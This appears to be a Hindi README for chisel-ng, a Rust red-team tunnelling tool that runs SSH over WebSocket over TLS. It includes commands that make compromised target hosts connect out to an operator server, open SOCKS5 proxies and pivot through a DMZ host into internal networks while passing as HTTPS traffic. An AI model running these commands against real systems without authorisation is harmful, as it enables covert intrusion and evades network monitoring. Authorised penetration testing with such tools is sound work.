
Chisel की नई पीढ़ी, रस्ट में लिखा गया। कुछ अनुकूलन के साथ WSS के तहत SSH।
| | ()___ | | _ __ __ _ / | ' | / |/ _ \ || ' \ / ` | | (__| | | | _ \ / || | | | (| | _|| |||/_|| || ||_, | |___/
पेनिट्रेशन टेस्टिंग और रेड टीम ऑपरेशन के लिए chisel का एक Rust कार्यान्वयन। SSH-over-WebSocket-over-TLS पर रिवर्स टनल स्थापित करता है, जिससे ऑपरेटर समझौता किए गए होस्ट के माध्यम से पिवट कर सकते हैं, सामान्य HTTPS ट्रैफ़िक के साथ घुलमिल जाते हैं।
git clone https://github.com/nullsection/chisel-ng
cd chisel-ng
cargo build --release
बाइनरी target/release/ में आउटपुट होती हैं: chisel-server, chisel-client, chisel-bind-client
1. सर्वर शुरू करें (ऑपरेटर):
./chisel-server -p 'secret' -v
2. क्लाइंट चलाएँ (लक्ष्य):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
3. टनल बनाएँ:
chisel-ng> session 1
[session-1] TARGET > tunnel 8080:192.168.1.100:80
[session-1] TARGET > socks5 1080
4. आंतरिक सेवाओं तक पहुँचें:
curl http://127.0.0.1:8080
curl --socks5 127.0.0.1:1080 http://internal.corp/
+------------------+ +----------------------------------+
| ऑपरेटर | | लक्ष्य नेटवर्क |
| | | |
| +--------------+ | SSH | +--------------+ |
| |chisel-server |<---------------+-|chisel-client | |
| | :8443 | | (TLS पर) | | (रिवर्स) | |
| +--------------+ | | +--------------+ |
+------------------+ +----------------------------------+
प्रोटोकॉल स्टैक:
TCP -> TLS 1.3 -> WebSocket -> SSH -> टनल डेटा
^
HTTPS के रूप में दिखाई देता है
क्लाइंट मोड:
chisel-client) - सर्वर से आउटबाउंड कनेक्ट करता हैchisel-bind-client) - इनबाउंड के लिए सुनता है; सर्वर connect कमांड का उपयोग करता हैविकल्प:
-l, --listen <पता> सुनने का पता [डिफ़ॉल्ट: 0.0.0.0:8443]
-p, --psk <PSK> प्री-शेयर्ड कुंजी या पासफ़्रेज़ [env: CHISEL_PSK]
--cert <फ़ाइल> TLS प्रमाणपत्र (PEM)
--key <फ़ाइल> TLS निजी कुंजी (PEM)
--generate-psk रैंडम PSK उत्पन्न करें और बाहर निकलें
-v, --verbose विस्तृत आउटपुट
विकल्प:
-s, --server <पता> सर्वर पता (होस्ट:पोर्ट)
-p, --psk <PSK> प्री-शेयर्ड कुंजी या पासफ़्रेज़ [env: CHISEL_PSK]
-u, --user <लेबल> सत्र लेबल [डिफ़ॉल्ट: agent]
-k, --insecure TLS सत्यापन छोड़ें
--no-reconnect ऑटो-रीकनेक्ट अक्षम करें
-i, --interval <सेकंड> पुनः कनेक्ट अंतराल [डिफ़ॉल्ट: 30]
--heartbeat <सेकंड> हार्टबीट अंतराल [डिफ़ॉल्ट: 30]
-v, --verbose विस्तृत आउटपुट
उन लक्ष्यों के लिए जो इनबाउंड स्वीकार कर सकते हैं लेकिन आउटबाउंड शुरू नहीं कर सकते:
विकल्प:
-l, --listen <पता> सुनने का पता (जैसे, 0.0.0.0:9000)
-p, --psk <PSK> प्री-शेयर्ड कुंजी या पासफ़्रेज़ [env: CHISEL_PSK]
-u, --user <लेबल> सत्र लेबल [डिफ़ॉल्ट: agent]
-k, --insecure TLS सत्यापन छोड़ें
--heartbeat <सेकंड> हार्टबीट अंतराल [डिफ़ॉल्ट: 30]
-v, --verbose विस्तृत आउटपुट
मुख्य मेनू:
sessions कनेक्टेड सत्रों की सूची
session <id> एक सत्र चुनें
connect <ip:port> बाइंड क्लाइंट से कनेक्ट करें
disconnect <id> सत्र डिस्कनेक्ट करें (पुनः कनेक्ट होगा)
kill <id> क्लाइंट प्रक्रिया समाप्त करें
सत्र मेनू:
tunnel <local>:<target_ip>:<target_port> टनल बनाएँ
tunnel --local <local>:<target>:<port> टनल बनाएँ (केवल लोकलहोस्ट)
tunnel stop <port> टनल रोकें
tunnels टनल की सूची
socks5 <port> SOCKS5 प्रॉक्सी शुरू करें
socks5 stop <port> SOCKS5 प्रॉक्सी रोकें
ping विलंबता मापें
ps दूरस्थ प्रक्रियाओं की सूची
netstat दूरस्थ कनेक्शनों की सूची
मौजूदा सत्रों के माध्यम से चेनिंग करके पृथक नेटवर्क तक पहुँचें।
परिदृश्य: DMZ होस्ट ऑपरेटर तक पहुँच सकता है। आंतरिक होस्ट (10.0.0.50) केवल DMZ से पहुँचा जा सकता है।
+----------+ +-----------+ +------------+
| ऑपरेटर |--SSH---| सत्र 1 |--TCP---| सत्र 2 |
| सर्वर | | (DMZ) | | (आंतरिक) |
+----------+ +-----------+ +------------+
चरण 1 - सर्वर शुरू करें (ऑपरेटर):
./chisel-server -p 'secret' -v
चरण 2 - रिवर्स क्लाइंट चलाएँ (DMZ होस्ट):
./chisel-client -s operator.example.com:8443 -p 'secret' -k
चरण 3 - बाइंड क्लाइंट चलाएँ (आंतरिक होस्ट 10.0.0.50 पर):
./chisel-bind-client -l 0.0.0.0:9000 -p 'secret' -k
चरण 4 - टनल बनाएँ और कनेक्ट करें (सर्वर CLI):
chisel-ng> session 1
[session-1] DMZ > tunnel --local 9000:10.0.0.50:9000
Tunnel started on 127.0.0.1:9000
[session-1] DMZ > back
chisel-ng> connect 127.0.0.1:9000
Session 2 registered
chisel-ng> session 2
[session-2] INTERNAL > socks5 1080
जब टनल बनाई जाती है (tunnel 8080:192.168.1.100:80):
RFC 1928 हैंडशेक के माध्यम से डायनामिक गंतव्य। सटीक पोर्ट स्कैनिंग परिणामों के लिए उपयुक्त त्रुटि कोड लौटाता है।
रिलीज़ बिल्ड सख्त किए गए हैं:
--heartbeat 0 से अक्षम करेंयह उपकरण केवल अधिकृत सुरक्षा परीक्षण के लिए है। उपयोग से पहले उचित प्राधिकरण प्राप्त करें। लेखक दुरुपयोग के लिए जिम्मेदार नहीं हैं।
MIT